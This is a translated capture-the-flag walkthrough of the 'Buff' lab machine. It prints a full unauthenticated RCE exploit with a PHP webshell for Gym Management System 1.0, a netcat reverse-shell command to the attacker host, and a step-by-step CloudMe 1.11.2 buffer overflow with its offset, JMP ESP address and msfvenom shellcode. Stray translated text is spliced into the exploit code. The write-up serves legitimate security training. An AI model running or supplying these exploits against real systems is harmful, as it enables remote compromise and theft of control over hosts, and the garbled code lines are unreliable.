This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Buff


It is a very simple machine, but we are going to analyze in depth a Buffer Overflow in CloudMe 1.11.2 and an 'Unauthenticated Remote Code Execution' in 'Gym Management System 1.0'

March 18, 202420 minutes

Reconnaissance

First of all, we check whether the machine is up and which OS it runs

> ping -c 1 10.10.10.198
PING 10.10.10.198 (10.10.10.198) 56(84) bytes of data.
64 bytes from 10.10.10.198: icmp_seq=1 ttl=127 time=304 ms

--- 10.10.10.198 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 303.579/303.579/303.579/0.000 ms

We have connectivity, and in this case it returns a TTL (time to live) of 127, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Windows

Port scan

Now we start with a port scan

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.198 -oG allPorts
Parameter explanation
ParameterPurpose
-p-Scan all ports (65536)
–openOnly report open ports
–min-rate 5000Set the scan speed
-nSkip DNS resolution
-vvvPrint findings to the console as they come
-PnSkip checking whether the host is up
-oG allPortsSave the scan in grepable format to a file called allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

> extractPorts allPorts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.198
   5   │     [*] Open ports: 8080
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts

nmap -sCV -p8080 10.10.10.198 -Pn -oN versions
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-03 12:58 CET
Nmap scan report for 10.10.10.198
Host is up (0.39s latency).

PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-title: mrb3n's Bro Hut
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
Parameter explanation
ParameterPurpose
-pThe open ports found in the previous scan
-sCRun basic reconnaissance scripts
-sVReport the version and details of the services running on the ports

Port 8080

nmap reported that port 8080 is open with a website running on Apache 2.4.42.

When we open it, we see a simple website about a gym. If we go to the contact section, we see the following message.

Made using Gym Management Software 1.0

Exploitation

Searching on exploit-db, we see it’s vulnerable to unauthenticated RCE

> searchsploit gym
-------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                      |  Path
-------------------------------------------------------------------- ---------------------------------
Gym Management System 1.0 - 'id' SQL Injection                      | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass                   | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting             | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution   | php/webapps/48506.py
GYM MS - GYM Management System - Cross Site Scripting (Stored)      | php/webapps/51777.txt
WordPress Plugin WPGYM - SQL Injection                              | php/webapps/42801.txt
-------------------------------------------------------------------- ---------------------------------

We copy it to the current working directory

> searchsploit -m php/webapps/48506.py
  Exploit: Gym Management System 1.0 - Unauthenticated Remote Code Execution
      URL: https://www.exploit-db.com/exploits/48506
     Path: /usr/share/exploitdb/exploits/php/webapps/48506.py
    Codes: N/A
 Verified: False
File Type: Python script, ASCII text executable
cp: overwrite '/home/d3b0o/Desktop/buff/48506.py'? y
Copied to: /home/d3b0o/Desktop/buff/48506.py

This is the exploit:

import requests, sys, urllib, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def webshell(SERVER_URL, session):
    try:
        WEB_SHELL = SERVER_URL+'upload/kamehameha.php'
        getdir  = {'telepathy': 'echo %CD%'}
        r2 = session.get(WEB_SHELL, params=getdir, verify=False)
        status = r2.status_code
        if status != 200:
            print Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL
            r2.raise_for_status()
        print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
        cwd = re.findall('[CDEF].*', r2.text)
        cwd = cwd[0]+"> "
        term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
        while True:
            thought = raw_input(term)
            command = {'telepathy': thought}
            r2 = requests.get(WEB_SHELL, params=command, verify=False)
            status = r2.status_code
            if status != 200:
                r2.raise_for_status()
            response2 = r2.text
            print(response2)
    except:
        print("\r\nExiting.")
        sys.exit(-1)

def formatHelp(STRING):
    return Style.BRIGHT+Fore.RED+STRING+Fore.RESET

def header():
    BL   = Style.BRIGHT+Fore.GREEN
    RS   = Style.RESET_ALLomo instalar mona.py en Immunity Debugger
    FR   = Fore.RESET
    SIG  = BL+'            /\\\n'+RS
    SIG += Fore.YELLOW+'/vvvvvvvvvvvv '+BL+'\\'+FR+'--------------------------------------,\n'
    SIG += Fore.YELLOW+'`^^^^^^^^^^^^'+BL+' /'+FR+'============'+Fore.RED+'BOKU'+FR+'====================="\n'
    SIG += BL+'            \/'+RS+'\n'
    return SIG

if __name__ == "__main__":
    print header();
    if len(sys.argv) != 2:
        print formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0])
        print formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/gym/'" % sys.argv[0])
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    UPLOAD_DIR = 'upload.php?id=kamehameha'
    UPLOAD_URL = SERVER_URL + UPLOAD_DIR
    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
    png     = {
                'file':
                  (
                    'kaio-ken.php.png',
                    PNG_magicBytes+'\n'+'<?php echo shell_exec($_GET["telepathy"]); ?>',
                    'image/png',
                    {'Content-Disposition': 'form-data'}
                  )
              }
    fdata   = {'pupload': 'upload'}
    r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
    webshell(SERVER_URL, s)                  

Basically, what it does is upload a file called kaio-ken.php.png to /upload.php. Inside the file it puts the PNG magic bytes so it’s treated as a PNG (x89\x50\x4e\x47\x0d\x0a\x1a). Below is an example of how to use this technique to make a PHP script look like a GIF

> cat test.php
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: test.php
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ <?php
   2   │ echo "Test"
   3   │ ?>
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
                                                                                                               
> file test.php
test.php: PHP script, ASCII text
> cat test.php
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: test.php
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ GIF8;
   2   │ <?php
   3   │ echo "Test"
   4   │ ?>
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
                                                                                                               
> file test.php
test.php: GIF image data 16188 x 26736

To make it clearer, we’ll change the script’s magic bytes to the GIF8; ones, although it already works as it comes by default

PNG_magicBytes = 'GIF8;'

Finally, we run the script

> python2 48506.py http://10.10.10.198:8080/
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
            /\omo instalar mona.py en Immunity Debugger
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
            \/

[+] Successfully connected to webshell.
F8;> 

Now we have a shell that isn’t really a shell. Let me explain: we’ve simply uploaded a PHP script that runs whatever we pass in the telepathy parameter

> curl "http://10.10.10.198:8080/upload/kamehameha.php?telepathy=whoami"
GIF8;
buff\shaun
What code does kamehameha.php have that lets us run commands?

The kamehameha.php file has the following code

<?php echo shell_exec($_GET["telepathy"]); ?>

What it basically does is pass everything it receives via GET in the telepathy parameter to the shell_exec function.

shell_exec runs commands on the system but doesn’t print the output; to make it print the output, you have to put echo in front

Without echo

d3bo~> cat test.php
   1   <?php shell_exec("whoami") ?>
d3bo~> php test.php

With echo

d3bo~> cat test.php
   1   <?php echo shell_exec("whoami") ?>
d3bo~> php test.php
d3bo

If shell_exec didn’t work or were blocked, other functions could be used. Here are some examples

system()

d3bo~> cat test.php
   1   <?php system("whoami") ?>
d3bo~> php test.php
d3bo

passthru()

d3bo~> cat test.php
   1   <?php passthru("whoami") ?>
d3bo~> php test.php
d3bo

exec()

d3bo~> cat test.php
   1   <?php echo exec("whoami") ?>
d3bo~> php test.php
d3bo                                                                                                                                                            

popen()

d3bo~> cat test.php
   1   <?php
   2   $handle = popen('whoami', 'r');
   3   $read = fread($handle, 2096);
   4   pclose($handle);
   5   echo $read;
   6   ?>
   7
d3bo~> php test.php
d3bo

We’ll use this RCE to send ourselves a proper reverse shell.

To do so, first we look for nc.exe, which usually comes preinstalled on Kali. Then we move it to the current directory and start an SMB server so we can run it from the other machine

> locate nc.exe
/home/d3b0o/Desktop/buff/nc.exe
/opt/SecLists/Web-Shells/FuzzDB/nc.exe
/usr/lib/mono/4.5/cert-sync.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe
                                                                                                                                                                                                                        
> cp /usr/share/windows-resources/binaries/nc.exe .
                                                                                                                                                                                                                        
> impacket-smbserver smb $(pwd) -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

We listen on port 443

rlwrap nc -nlvp 443

Finally, taking advantage of the RCE, we run the following command

//10.10.14.31/smb/nc.exe -e cmd 10.10.14.31 443
curl -s -G "http://10.10.10.198:8080/upload/kamehameha.php" --data-urlencode "telepathy=//10.10.14.31/smb/nc.exe -e cmd 10.10.14.31 443"

We get the reverse shell!!!

Analyzing the vulnerability

Why are we able to run commands? What’s wrong with the upload.php code?

exploit-db exploits usually include a link to download the vulnerable application; in this case the link is https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/

From there we download the code. Once downloaded and unzipped, we can look at the contents of upload.php, which is the file we used to upload a malicious PHP file

<?php
include_once 'include/db_connect.php';
include_once 'include/functions.php';
$user = $_GET['id'];
$allowedExts = array("jpg", "jpeg", "gif", "png","JPG");
$extension = @end(explode(".", $_FILES["file"]["name"]));
if(isset($_POST['pupload'])){
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/JPG")
|| ($_FILES["file"]["type"] == "image/png")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000000000000)
&& in_array($extension, $allowedExts))
  {
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br>";
    }
  else
    {


    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      unlink("upload/" . $_FILES["file"]["name"]);
      }
    else
      {
          $pic=$_FILES["file"]["name"];
            $conv=explode(".",$pic);
            $ext=$conv['1'];

      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/". $user.".".$ext);
      $url=$user.".".$ext;

      $query="update members set pic=1, picName='$url' where id='$user'";
      if($upl=$mysqli->query($query)){
          header("location: profile/i.php");
              }
      }
    }
  }
else

  header("location: /profile/i.php");

  }

?>

At the beginning of the script some variables are declared:

  • user, which is what we pass via GET in the id parameter,
  • allowedExts, an array with all the allowed extensions (jpg, png, gif…)
  • extension, which stores the file’s extension like this
$extension = @end(explode(".", $_FILES["file"]["name"]));

It uses the explode function to split the name into parts separated by “.”

d3bo> cat test.php
   1   <?php
   2   $test = explode(".", "test.php.png" );
   3   print_r($test)
   4   ?>

d3bo> php test.php
Array
(
    [0] => test
    [1] => php
    [2] => png
)

It also adds @end so only the last one is returned

d3bo> cat test.php
   1   <?php
   2   $test = @end(explode(".", "test.php.png" ));
   3   echo $test
   4   ?>
d3bo> php test.php
png                      

This is how it gets the file’s extension.

The code continues with the following

if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/JPG")
|| ($_FILES["file"]["type"] == "image/png")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000000000000)
&& in_array($extension, $allowedExts))

Here it performs 3 checks

  • Content-Type: First it checks whether the content type is image/gif, image/jpeg, image/JPG, image/png or image/pjpeg
  • Size: It also checks that the file is smaller than 20,000,000,000,000 bytes
  • Extension: Finally, it checks that the file’s extension is in the allowedExts array

If it passes all these checks, it moves on to the next section

$pic=$_FILES["file"]["name"];
$conv=explode(".",$pic);
$ext=$conv['1'];

move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/". $user.".".$ext);
$url=$user.".".$ext;

This is where the vulnerability starts

It splits the name into an array again with explode, using “.” as the separator, and stores position 1 of the array in the ext variable. Then it uploads the file with the user name we passed via GET and that extension.

The problem is that the extension isn’t calculated properly: if we use 2 extensions, it takes the first one

d3bo> cat test2.php
   1   <?php
   2   $pic="shell.php.png";
   3   $conv=explode(".",$pic);
   4   $ext=$conv['1'];
   5   echo $ext
   6   ?>
d3bo> php test2.php
php                                                   

The name shell.php.png would pass all the checks because it’s a PNG, but when it’s uploaded it will be saved with the user name and the php extension, since it takes position 1 of the array instead of the last one

To prevent this, ‘@end’ should have been used, as it was at the beginning of the code

d3bo> cat test2.php
   1   <?php
   2   $pic="shell.php.png";
   3   $conv=explode(".",$pic);
   4   $ext=@end($conv);
   5   echo $ext
   6   ?>
d3bo> php test2.php
png

We can test all this by writing our own script

> cat exploit.py

   1   │ import requests
   2   │ 
   3   │ def subir_archivo(s):
   4   │     url = 'http://10.10.10.198:8080/upload.php?id=user2'
   5   │     contenido_archivo = 'GIF8;\n <?php system("whoami") ?>'
   6   │     archivo = {'file': ('shell.php.gif', contenido_archivo, 'image/gif')}
   7   │     fdata = {'pupload': 'upload'}
   8   │     try:
   9   │         respuesta = s.post(url, files=archivo, data=fdata)
  10   │     except Exception as e:
  11   │         print("Error al realizar la solicitud:", e)
  12   │ 
  13   │ s = requests.Session()
  14   │ subir_archivo(s)
  15   │ r = s.get("http://10.10.10.198:8080/upload/user2.php")
  16   │ print(r.text)
                                                                                                      
> python3 exploit.py
GIF8;
 buff\shaun

Privilege escalation

Inside the Downloads directory there is a file called CloudMe_1112.exe

C:\Users\shaun>tree /f

    3D Objects
    Contacts
    Desktop
        user.txt
        
    Documents
        Tasks.bat
        
    Downloads
        CloudMe_1112.exe
....       

A quick Google search shows which port CloudMe uses by default (8888)

With netstat -a we can see that port 8888 is open locally

C:\xampp\htdocs\gym\upload>netstat -a
netstat -a

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:135            BUFF:0                 LISTENING
  TCP    0.0.0.0:445            BUFF:0                 LISTENING
  TCP    0.0.0.0:5040           BUFF:0                 LISTENING
  TCP    0.0.0.0:7680           BUFF:0                 LISTENING
  TCP    0.0.0.0:8080           BUFF:0                 LISTENING
  TCP    0.0.0.0:49664          BUFF:0                 LISTENING
  TCP    0.0.0.0:49665          BUFF:0                 LISTENING
  TCP    0.0.0.0:49666          BUFF:0                 LISTENING
  TCP    0.0.0.0:49667          BUFF:0                 LISTENING
  TCP    0.0.0.0:49668          BUFF:0                 LISTENING
  TCP    0.0.0.0:49669          BUFF:0                 LISTENING
  TCP    10.10.10.198:139       BUFF:0                 LISTENING
  TCP    10.10.10.198:8080      10.10.14.31:55448      ESTABLISHED
  TCP    10.10.10.198:49771     10.10.14.31:https      ESTABLISHED
  TCP    127.0.0.1:3306         BUFF:0                 LISTENING
  TCP    127.0.0.1:8888         BUFF:0                 LISTENING

With searchsploit we find that the version of the program in the ‘Downloads’ folder is vulnerable to a buffer overflow.

> searchsploit CloudMe 1.11.2
----------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                               |  Path
----------------------------------------------------------------------------- ---------------------------------
CloudMe 1.11.2 - Buffer Overflow (PoC)                                       | windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR)                              | windows/local/48499.txt
CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR)                              | windows/local/48840.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt                              | windows/remote/46218.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt                              | windows/remote/46218.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass)                     | windows_x86-64/remote/46250.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass)                     | windows_x86-64/remote/46250.py
----------------------------------------------------------------------------- ---------------------------------

We could use the exploit-db script, but we’ll do it manually.

Buffer overflow

First of all, we’ll use a virtual machine with 32-bit Windows 7. On that Windows machine we’ll install CloudMe 1.11.2, Immunity Debugger and mona.py

  • We’ll use Immunity Debugger to analyze the binary at runtime.
  • CloudMe 1.11.2 will run on our machine so we can analyze it and simulate attacks as if it were the target machine
  • mona.py is a Python script that works with Immunity Debugger; we’ll use it to automate different steps while exploiting the buffer overflow
How to install mona.py in Immunity Debugger

Download the file from GitHub

https://raw.githubusercontent.com/corelan/mona/master/mona.py

And move it to C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands


The next step is to run CloudMe 1.11.2, for which we need to create a CloudMe account.

Port forwarding

If we remember, CloudMe runs locally on port 8888, so we can’t reach that port from Kali. We have to do port forwarding, and for that we use Chisel

On the attacker machine we download Chisel and run it

sudo ./chisel server --reverse -p 1234
Parameter explanation
ParameterPurpose
-pThe port the chisel server will listen on
serverRuns chisel in server mode
–reverseAllows clients to set up reverse port forwards

On Windows we also download Chisel and run it

chisel.exe client 192.168.1.145:1234 R:8888:127.0.0.1:8888
Parameter explanation
ParameterPurpose
192.168.1.145:1234The IP of the attacker machine running chisel in server mode, and the port chisel is running on
clientRuns chisel in client mode
R:8888:127.0.0.1:8888Maps port 8888 on the Windows machine to port 8888 on the attacker machine, so port 8888 on the attacker machine is now the same as port 8888 on the Windows machine

To check that everything worked, we can see whether port 8888 is now open on our Kali, like this:

ss -tnlp | grep 8888

LISTEN 0      4096               *:8888             *:*
Parameter explanation
ParameterPurpose
ssShows information about network sockets, such as TCP and UDP connections and socket statistics
-tOnly shows TCP connections.
-nShows addresses and ports numerically instead of resolving names.
-lOnly shows connections in the listening state.
-pShows the processes associated with the sockets.
grepHere we use it to filter for the line containing port 8888

Calculating the offset

We start by sending lots of characters to see whether the application stops working

python2 -c 'print "A"*7000' | nc 127.0.0.1 8888

Now the following message appears on Windows

To see why it crashes, we’ll open it again, attach to it from Immunity Debugger (File > Attach > CloudMe) and press play

We repeat the same process of sending a large input

python2 -c 'print "A"*7000' | nc 127.0.0.1 8888

Now in Immunity Debugger we can see that registers like EIP, ESP, EBP… have the value 41, which is the character ‘A’ in hex. This means that by sending a string longer than the buffer size assigned to the variable, registers in memory were overwritten to store the ‘A’s. The problem is that, for example, if we change the value of EIP the program doesn’t know where to continue, since EIP (Instruction Pointer) holds the memory address of the next instruction; if we give it an address that doesn’t exist, like 41414141 here, it simply stops working.

Let’s see how many As we need to send to reach EIP. For this we’ll create a string specifically designed for it

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 7000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3A...
Parameter explanation
ParameterPurpose
-l 7000The number of characters in the string

We send it to CloudMe

> nc 127.0.0.1 8888

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1A...

Obviously, CloudMe crashed again, but if we look at EIP, we see it’s now 316A4230.

The following command automatically calculates the offset (the number of ‘A’s) to reach EIP

> /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 7000 -q 316A4230
[*] Exact match at offset 1052
Parameter explanation
ParameterPurpose
-l 7000The number of characters the string had
-q 316A4230With -q we pass the characters shown in EIP

The command tells us the offset is 1052.

To check it, we’ll send 1052 ‘A’s and 4 ‘B’s. If the calculation is right, we should see in Immunity Debugger that EIP is 42424242, which is BBBB in hex

python2 -c 'print "A"*1052 + "B"*4' | nc 127.0.0.1 8888

After running this, EIP becomes 42424242, which is the same as BBBB. This means we control EIP, and therefore the program’s execution flow.

We’ll use this to set EIP so it jumps to ESP, and inside ESP we’ll load some instructions to run commands.

We send the same payload as before, but now with 2000 C’s, which represent the instructions we’ll add later.

python2 -c 'print "A"*1052 + "B"*4 + "C"*200' | nc 127.0.0.1 8888

In Immunity Debugger we see that ESP starts right after EIP.

Badchars

What is a badchar?

A “badchar” is a character that, when processed, can cause problems because the system doesn’t interpret it as expected.

How could we check whether any character isn’t processed properly? By sending every possible character and seeing whether any of them cause errors.

So far we’ve been sending Python one-liners, but now we’ll write a script because we’re going to need to add more things

from pwn import *
from struct import pack

offset = 1052
before_eip = b"A" * offset
eip = b"BBBB"


payload = before_eip + eip 
host, port = "127.0.0.1", 8888

r = remote(host, port)
r.sendline(payload)

To this script we have to add the characters we’ll test as possible badchars. To get the list we’ll use the badchars program, which we can install with pip

> pip3 install badchars
                                                                                                        
> badchars -f python
badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
from pwn import *
from struct import pack

offset = 1052
before_eip = b"A" * offset
eip = b"BBBB"
badchars = (
  b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

payload = before_eip + eip + badchars
host, port = "127.0.0.1", 8888

r = remote(host, port)
r.sendline(payload)

In Immunity Debugger we can check one by one whether each character shows up or not

This is tedious, which is why we installed mona.py earlier; as I said, it helps us automate processes

We start with mona by setting the working directory

!mona config -set workingfolder C:\Users\arnau\Desktop\bof

Next, we create a byte array to check for badchars, excluding \x00 (null byte) because it always causes problems

!mona bytearray -b "\x00"

Two files have appeared in the folder we set as “workingfolder”. bytearray.txt contains the same string of characters we set earlier, so we don’t need to modify the script. The file we’ll use is bytearray.bin.

!mona compare -f C:\Users\arnau\Desktop\bof\bytearray.bin -a 0022F930

What this command does is check whether the characters show up correctly or cause any problems. With the -a parameter we have to specify the ESP address where we put the byte array to test for badchars. After running it, the following window opens, saying there are no badchars, which means they all show up and are processed successfully.

Protections

We list all the modules to see their protections

!mona modules

Types of protections
NameDescription
CANARY (Stack Canary)A security technique used to detect buffer overflows. A “canary” is a value placed before sensitive information in memory; if this value changes, it indicates that memory has been tampered with, suggesting an attack attempt.
CANARY (Stack Canary)A security technique used to detect buffer overflows. A “canary” is a value placed before sensitive information in memory; if this value changes, it indicates that memory has been tampered with, suggesting an attack attempt.
FORTIFY (Fortify Source)A security feature in C compilers and libraries that helps protect against buffer overflow vulnerabilities and other security issues. It adds automatic security checks to the code at compile time.
NX (No-eXecute)A hardware technology and security feature that helps prevent code execution in memory regions designated as data. This is useful to prevent code injection attacks, such as buffer overflow attacks.
PIE (Position Independent Executable)A security technique that compiles an executable so that it is loaded at a random location in memory, making exploitation harder because attackers can’t predict the exact location of the code in memory.
RELRO (RELocation Read-Only)A security technique that marks certain sections of the dynamic linking table as read-only after the linker has resolved all the addresses. This helps protect against attacks that try to modify the dynamic linking table to redirect the program’s control flow.

Of all the CloudMe .dll files listed, we’re interested in the ones with all protections set to False.

JMP ESP

Among all the .dll files with everything set to false, we look for a JMP ESP (an address that jumps to ESP, which is where we’ll put the shellcode). It’s important that it has {PAGE_EXECUTE_READ} so our shellcode can run

!mona find -s "\xFF\xE4" -m Qt5Core.dll

After searching through the .dll files, in the end Qt5Core.dll meets the requirements

Now we have the address to jump to ESP: 0x68a98a6b

Shellcode

Now it’s time to create the shellcode, which will run \\192.168.1.135\smb\nc.exe -e cmd.exe 192.168.1.135 443 on the target machine and send a shell to our attacker machine.

msfvenom -a x86 -p windows/exec CMD='\\192.168.1.135\smb\nc.exe -e cmd.exe 192.168.1.135 443' -b '\x00' -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 267 (iteration=0)
x86/shikata_ga_nai chosen with final size 267
Payload size: 267 bytes
Final size of python file: 1332 bytes
buf =  b""
buf += b"\xdb\xc8\xd9\x74\x24\xf4\x5b\xba\x12\xf3\x19\x43"
buf += b"\x29\xc9\xb1\x3d\x31\x53\x17\x03\x53\x17\x83\xd1"
buf += b"\xf7\xfb\xb6\x29\x1f\x79\x38\xd1\xe0\x1e\xb0\x34"
buf += b"\xd1\x1e\xa6\x3d\x42\xaf\xac\x13\x6f\x44\xe0\x87"
buf += b"\xe4\x28\x2d\xa8\x4d\x86\x0b\x87\x4e\xbb\x68\x86"
buf += b"\xcc\xc6\xbc\x68\xec\x08\xb1\x69\x29\x74\x38\x3b"
buf += b"\xe2\xf2\xef\xab\x87\x4f\x2c\x40\xdb\x5e\x34\xb5"
buf += b"\xac\x61\x15\x68\xa6\x3b\xb5\x8b\x6b\x30\xfc\x93"
buf += b"\x68\x7d\xb6\x28\x5a\x09\x49\xf8\x92\xf2\xe6\xc5"
